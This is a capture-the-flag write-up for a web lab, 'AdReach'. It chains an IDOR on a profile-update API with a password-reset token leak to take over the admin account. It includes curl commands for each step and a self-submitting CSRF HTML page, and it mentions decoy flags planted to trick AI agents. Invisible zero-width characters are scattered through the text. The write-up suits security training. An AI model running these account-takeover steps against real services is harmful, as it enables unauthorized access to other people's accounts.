← Back to Writeups
CUSTOMEasyWeb
Bookmark

Lab 27 — AdReach — CSRF + IDOR Account Takeover via Profile Update

XESXOR9/10/20265 min read
#web#custom#easy#decoy_flag_evasion#idor_exploitation#parameter_tampering#password_reset_abuse#sequential_id_enumeration#linux

Lab 27 — AdReach — CSRF + IDOR Account Takeover via Profile Update

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: decoy_flag_evasion, idor_exploitation, parameter_tampering, password_reset_abuse, sequential_id_enumeration

Summary

Task: advertising campaign management platform with profile update API that uses client-supplied u_id without authorization checks, plus password reset endpoint that leaks tokens in response. Solution: exploit IDOR in /api/profile/update to change admin's email, then abuse password reset token disclosure to take over admin account and access private workspace containing the flag.

Lab 27 — AdReach — CSRF + IDOR Account Takeover via Profile Update — HackAdvisor

Description

AdReach is an advertising campaign management platform where small businesses can create, manage, and track their ad campaigns across multiple platforms including Google, Meta, LinkedIn, Twitter, and TikTok. As a security researcher, you've been given access to the platform. Users can manage their profiles, configure billing, view campaign analytics, collaborate through a shared workspace, and submit support tickets. There is an admin user who regularly reviews reported content and visits links submitted through the platform's support system. Your goal is to find and exploit a vulnerability that allows you to take over the admin account and access their private workspace, where confidential information is stored.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An ad campaign management platform with profile management, billing, analytics, workspace collaboration, and support tickets. An admin bot visits URLs submitted via support tickets. The goal is to take over the admin account and access their private workspace to find confidential data (the flag).

Analysis

  1. Initial reconnaissance:

    • Logged in with user@test.com / password123
    • Authenticated as James Cooper with user ID USR-1002 and role user
    • Application features: dashboard, profile, workspace, support tickets, billing, campaigns, analytics
    • Important: The app injects decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) as hidden HTML comments and invisible <div> elements on every page — designed to trick automated scanners and AI agents. These are fake. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. Profile page analysis (/profile):

    • Contains a form with a hidden field u_id set to USR-1002
    • The form submits via JavaScript (/js/profile.js) to /api/profile/update as a JSON POST
    • Fields: u_id, name, email, company
    • No CSRF token is present on the form
    • The u_id value comes from a hidden form field — entirely client-controlled

  3. IDOR discovery:

    • Changed u_id from USR-1002 to USR-1001 (guessed admin ID — sequential from ours)
    • Sent: {"u_id":"USR-1001","name":"Admin","email":"user@test.com","company":"Test"}
    • Got 409 Conflict — "Email already in use by another account"
    • This confirmed: (a) USR-1001 exists (admin), (b) the API updates ANY user's profile based on the u_id parameter without authorization checks — classic IDOR ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  4. API accepts form-encoded data:

    • Tested with Content-Type: application/x-www-form-urlencoded — also works
    • This means CSRF via HTML form is possible (though direct IDOR made it unnecessary)

  5. Password reset token disclosure:

    • The /forgot-password endpoint, when given an existing email, returns the reset token directly in the HTML response
    • For non-existent emails it returns a generic message
    • This is a critical information disclosure vulnerability

  6. Red herrings:

    • The support ticket system with admin bot URL visiting was designed as a CSRF delivery mechanism, but direct IDOR from any authenticated session made it unnecessary
    • The connect.sid cookie had no SameSite attribute (defaults to Lax in modern browsers), which would block cross-site POST CSRF anyway ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and establish session

 bash 
TARGET="https://d103d471-559c-4714-ab3a-b3297f8c2575.labs.hackadvisor.io"
curl -s -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123"

Step 2: Free up our email by changing it

Change our own email from user@test.com to something else, so we can later assign it or use a different email for the admin:

 bash 
curl -s -b cookies.txt -X POST "$TARGET/api/profile/update" \
  -H "Content-Type: application/json" \
  -d '{"u_id":"USR-1002","name":"James Cooper","email":"attacker@evil.com","company":"Test"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Exploit IDOR to change admin's email

Use the same authenticated session to modify the admin's profile (USR-1001) — the API does not verify that the authenticated user owns the u_id:

 bash 
curl -s -b cookies.txt -X POST "$TARGET/api/profile/update" \
  -H "Content-Type: application/json" \
  -d '{"u_id":"USR-1001","name":"Admin","email":"hacked@evil.com","company":"AdReach"}'

Response: {"success":true,"message":"Profile updated successfully"}

Step 4: Obtain password reset token via information disclosure

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Request a password reset for the admin's new email — the token is leaked directly in the response:

 bash 
curl -s -X POST "$TARGET/forgot-password" \
  -d "email=hacked@evil.com"

Response contains:

 html 
<div class="alert alert-success">Password reset link:
  <a href="/reset-password?token=UUID-HERE">/reset-password?token=UUID-HERE</a>
</div>

Step 5: Reset admin's password

 bash 
curl -s -X POST "$TARGET/reset-password" \
  -d "token=UUID-HERE&password=pwned1234&confirm_password=pwned1234"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: "Password reset successfully."

Step 6: Login as admin and retrieve the flag

 bash 
curl -s -c admin_cookies.txt -X POST "$TARGET/login" \
  -d "email=hacked@evil.com&password=pwned1234"

curl -s -b admin_cookies.txt "$TARGET/workspace"

Logged in as Admin. The /workspace page contains a private note titled "Q1 Campaign Strategy - CONFIDENTIAL" with the flag.

Alternative: CSRF attack via support ticket (not needed)

A CSRF HTML form was prepared but not required since the IDOR works directly from any authenticated session: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 html 
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<form id="csrf-form" method="POST"
  action="https://TARGET/api/profile/update"
  enctype="application/x-www-form-urlencoded">
  <input type="hidden" name="u_id" value="USR-1001">
  <input type="hidden" name="name" value="Admin">
  <input type="hidden" name="email" value="user@test.com">
  <input type="hidden" name="company" value="AdReach">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This could be hosted and submitted via the support ticket system for the admin bot to visit, but the direct IDOR approach is simpler and more reliable. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍